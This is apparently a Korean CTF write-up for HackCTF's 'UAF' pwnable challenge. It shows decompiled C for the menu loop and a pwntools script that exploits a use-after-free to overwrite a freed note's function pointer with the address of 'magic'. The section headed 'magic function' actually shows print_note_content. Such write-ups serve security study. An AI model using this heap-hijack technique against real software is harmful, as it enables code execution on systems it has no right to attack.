tmxklab

[HackCTF/Pwnable] UAF 본문

War Game/HackCTF

[HackCTF/Pwnable] UAF

tmxk4221 2020. 7. 20. 20:55

1. 문제

nc ctf.j0n9hyun.xyz 3020

 

1) mitigation

 

2) 문제 확인

 

3) 코드흐름 파악

3-1) main()

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v5; // [esp+Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, &buf, 4u);
      v3 = atoi(&buf);
      if ( v3 != 2 )
        break;
      del_note();
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        print_note();
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_13:
        puts(&byte_8048D08);
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_13;
      add_note();
    }
  }
}

 

3-2) magic함수

int __cdecl print_note_content(int a1)
{
  return puts(*(const char **)(a1 + 4));
}
  • 요거를 호출하면 된다.

추가로 add_note(), del_note(), print_note()가 있지만 hitcon training의 LAB10 uaf문제와 아주 유사하기 때문에(로직도 엄청 똑같음ㅋㅋ) 따로 올리진 않았다.

 

참고 :

 

hitcon training [LAB 10]

이번 문제는 힙을 공부한 이후로 처음으로 힙 관련 문제가 나왔다. UAF(Use After Free) 처음 힙 관련 문제를 푸는 것인만큼 상세하게 분석하고 어느 부분에서 취약점이 발생하는지 자세하게 다루도��

rninche01.tistory.com

 


2. 접근 방법

 

접근 방법이나 문제 풀이 방법은 위 링크를 참고하길 바란다.

 

(두 번 쓰기 귀찮... 어차피 거의 유사한 문제니깐)

 


3. 풀이

1) 익스 코드

from pwn import *

#context.log_level = "debug"

p = remote("ctf.j0n9hyun.xyz", 3020)
e = ELF("./uaf")
magic_addr = p32(e.symbols['magic'])

def add_note(size, content):
        p.sendlineafter(":", "1")
        p.sendlineafter(":", str(size))
        p.sendlineafter(":", content)

def del_note(index):
        p.sendlineafter(":", "2")
        p.sendlineafter(":", str(index))

def print_note(index):
        p.sendlineafter(":", "3")
        p.sendlineafter(":", str(index))

add_note(16, "A")
add_note(16, "A")

del_note(0)
del_note(1)

add_note(8, magic_addr)

print_note(0)

p.interactive()

 

2) 공격 실행

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] Unexploitable #1  (0) 2020.08.06
[HackCTF/Pwnable] ROP  (0) 2020.07.20
[HackCTF/Pwnable] you_are_silver  (0) 2020.06.30
[HackCTF/Pwnable] Pwning  (2) 2020.06.23
[HackCTF/Pwnable] pzshell  (0) 2020.06.11
Comments